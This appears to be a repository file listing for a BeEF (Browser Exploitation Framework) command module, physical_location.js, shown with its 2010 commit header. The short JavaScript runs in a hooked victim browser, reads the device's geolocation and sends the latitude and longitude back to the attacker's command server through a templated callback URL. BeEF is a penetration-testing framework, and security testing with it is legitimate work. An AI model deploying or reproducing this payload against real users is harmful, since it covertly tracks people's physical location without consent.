Files
beef/modules/commands/host/physical_location/physical_location.js
wade@bindshell.net 31ebef8693 updated physical location code
git-svn-id: https://beef.googlecode.com/svn/trunk@524 b87d56ec-f9c0-11de-8c8a-61c5e9addfc9
2010-11-14 17:36:25 +00:00

12 lines
294 B
JavaScript

beef.execute(function() {
if(!beef.geolocation.isGeolocationEnabled()){
beef.net.sendback("<%= @command_url %>", <%= @command_id %>, "geoLocEnabled=FALSE&latitude=&longitude=");
return;
}
beef.geolocation.getGeolocation("<%= @command_url %>", <%= @command_id %>);
});